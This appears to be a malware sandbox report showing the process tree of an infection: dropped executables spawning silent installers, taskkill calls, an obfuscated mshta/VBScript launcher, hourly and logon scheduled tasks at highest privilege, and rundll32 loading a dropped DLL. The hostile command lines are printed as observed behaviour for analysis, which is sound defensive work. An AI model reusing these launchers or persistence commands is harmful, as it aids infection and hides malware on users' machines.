                                                                                                                                                                                                                                                                                                                                                                                    PID:4684
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\_t6TP13RhtScVIPhwWwGwiUI.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\_t6TP13RhtScVIPhwWwGwiUI.exe"
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                    PID:1420
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\zqaFXf_Spfk03ZFL2Oc3BBJb.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\zqaFXf_Spfk03ZFL2Oc3BBJb.exe"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                                      PID:6136
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\IgKI4SD3MWG07zmJ8Ju_47DC.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\IgKI4SD3MWG07zmJ8Ju_47DC.exe"
                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:7444
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\04Nf1IDSYC5ugLacurgrz6js.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\04Nf1IDSYC5ugLacurgrz6js.exe"
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:7824
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6108
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\dnhyZ9FuMmdOznH94Ite822W.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\dnhyZ9FuMmdOznH94Ite822W.exe"
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                              PID:7820
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\7R6kMdnhhTi1aKnh1J8qZhVV.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\7R6kMdnhhTi1aKnh1J8qZhVV.exe"
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:7852
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\Hh7Jr7tzXxlrwuCLMf2Unlpj.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\Hh7Jr7tzXxlrwuCLMf2Unlpj.exe"
                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:7744
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\JEbyKM3hzbrwZygJ8njO__P8.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\JEbyKM3hzbrwZygJ8njO__P8.exe"
                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6308
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-NQISI.tmp\JEbyKM3hzbrwZygJ8njO__P8.tmp
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-NQISI.tmp\JEbyKM3hzbrwZygJ8njO__P8.tmp" /SL5="$10520,506127,422400,C:\Users\Admin\Pictures\Adobe Films\JEbyKM3hzbrwZygJ8njO__P8.exe"
                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5032
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-JN6KK.tmp\DYbALA.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-JN6KK.tmp\DYbALA.exe" /S /UID=2709
                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:8284
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\0e-cabfe-256-c96a2-2d369ee1cfea2\Tarohesoso.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\0e-cabfe-256-c96a2-2d369ee1cfea2\Tarohesoso.exe"
                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4248
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                                                                                                                                                                                dw20.exe -x -s 1172
                                                                                                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1784
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\c5-f59fd-8c8-69b97-bcb902bdc720e\SHomelevaehi.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\c5-f59fd-8c8-69b97-bcb902bdc720e\SHomelevaehi.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\thtxom3j.hj5\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6968
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\thtxom3j.hj5\GcleanerEU.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\thtxom3j.hj5\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7708
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xngacb0n.1hy\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7016
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\xngacb0n.1hy\installer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\xngacb0n.1hy\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4200
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\xngacb0n.1hy\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\xngacb0n.1hy\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1635992845 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9060
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1fzhiyou.0zn\any.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5756
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1fzhiyou.0zn\any.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1fzhiyou.0zn\any.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7644
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1fzhiyou.0zn\any.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\1fzhiyou.0zn\any.exe" -u
                                                                                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6836
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2t40mzwp.pg0\gcleaner.exe /mixfive & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8712
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2t40mzwp.pg0\gcleaner.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2t40mzwp.pg0\gcleaner.exe /mixfive
                                                                                                                                                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4868
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\um0w4q3d.aaf\autosubplayer.exe /S & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2084
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Windows Security\RPMHQRUITN\foldershare.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Windows Security\RPMHQRUITN\foldershare.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4032
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\O6hRbt9NdLZ9EuMT0Ps0a5Yo.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\O6hRbt9NdLZ9EuMT0Ps0a5Yo.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7376
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\GODzcGauZdbCu9pQfhCNiqhR.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\GODzcGauZdbCu9pQfhCNiqhR.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5484
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\GODzcGauZdbCu9pQfhCNiqhR.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\GODzcGauZdbCu9pQfhCNiqhR.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1668
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\GODzcGauZdbCu9pQfhCNiqhR.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\GODzcGauZdbCu9pQfhCNiqhR.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1712
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                taskkill -f -iM "GODzcGauZdbCu9pQfhCNiqhR.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5520
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4176
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1472
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\zw710n89ScPd0aMyLCKkQAwa.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\zw710n89ScPd0aMyLCKkQAwa.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:696
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\T1LmSWqpyNHrYMCPUbOMQogH.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\T1LmSWqpyNHrYMCPUbOMQogH.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2120
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 1620
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4468
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\iUKz0w800zYQAze9UsIsuj1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\iUKz0w800zYQAze9UsIsuj1c.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1800
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\iUKz0w800zYQAze9UsIsuj1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\iUKz0w800zYQAze9UsIsuj1c.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4620
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4312
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7732
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7604
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:9040
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5044
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7004
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding C672179C1E9EC41B8D2EFEF3FB6591C4 C
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6808
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding 8E2260D038657E8196C80321004D583F
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4440
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8920
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6336
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 7CDF7E72127634676581DFCFA44F9ACB E Global\MSI0000
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4044
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8628
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6772
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8640
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:912
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6572
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6264
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7136
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1736
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7476
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:788
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8820

                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/200-146-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/200-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

